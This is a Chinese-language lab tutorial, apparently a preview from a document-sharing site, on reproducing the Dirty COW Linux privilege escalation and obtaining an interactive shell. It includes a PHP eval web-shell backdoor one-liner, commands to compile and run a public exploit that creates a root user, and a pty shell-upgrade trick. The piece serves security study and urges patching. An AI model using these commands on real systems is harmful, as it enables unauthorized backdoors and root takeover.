脏牛提权复现以及如何得到一个完全交互的shell1
脏牛漏洞(CVE-2016-5195),又称 Dirty COW,是一个严重的Linux内核安全漏洞,自2007年起存在于多个Linux发行版中,并于2016年10月18日被公开披露并修复。这个漏洞源于内核中的`get_user_pages`函数在处理Copy-on-Write(COW)机制时可能出现的竞态条件,导致恶意用户能够写入原本只读的内存区域,从而执行任意代码,实现权限提升。 对于受影响的系统,包括但不限于CentOS 7/RHEL 7 3.10.0-327.36.3.el7、CentOS 6/RHEL 6 2.6.32-642.6.2.el6、Ubuntu 16.10 4.8.0-26.28、Ubuntu 16.04 4.4.0-45.66、Ubuntu 14.04 3.13.0-100.147、Debian 8 3.16.36-1+deb8u2以及Debian 7 3.2.82-1等,低权限用户可以通过利用脏牛漏洞获得root权限。 为了复现脏牛漏洞,首先需要一个符合条件的环境,如CentOS 6。然后,可以安装Apache和PHP来模拟Web服务器环境。通过`yum -y install httpd php`安装这两个组件,并使用`service httpd start`启动HTTP服务。确保80端口开放,可以通过关闭SELinux和调整防火墙规则来实现。 接下来,可以创建一个简单的PHP后门,例如`echo "<?php eval($_REQUEST[123]) ?>" > /var/www/html/shell.php`,这将允许远程控制者通过HTTP请求执行任意代码。当成功访问这个后门并获得了一个低权限的Web shell时,可以利用脏牛漏洞的EXP(exploit)进行提权。 脏牛EXP可以从GitHub上的FireFart/dirtycow项目获取。下载后,通过`gcc -pthread dirty.c -o dirty –lcrypt`编译源代码。接着,运行`./dirty 123`生成一个名为firefart的root权限用户。不过,通过这种方式获得的shell并不能直接进行`su`交互,因为缺少交互式终端(tty)。 为了解决这个问题,可以使用Python的pty模块来创建一个新的交互式shell。例如,运行`python -c 'import pty; pty.spawn("/bin/bash")'`,这将提供一个可以执行`su`命令的交互式bash shell,从而完成提权过程,获得对系统的完全控制。 需要注意的是,这些操作仅用于安全研究和漏洞检测,不应在未经授权的环境中进行,以免违反法律法规。在实际环境中,应确保系统及时更新补丁,以防止此类漏洞被恶意利用。
剩余8页未读,继续阅读
- 粉丝: 56
- 资源: 290
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助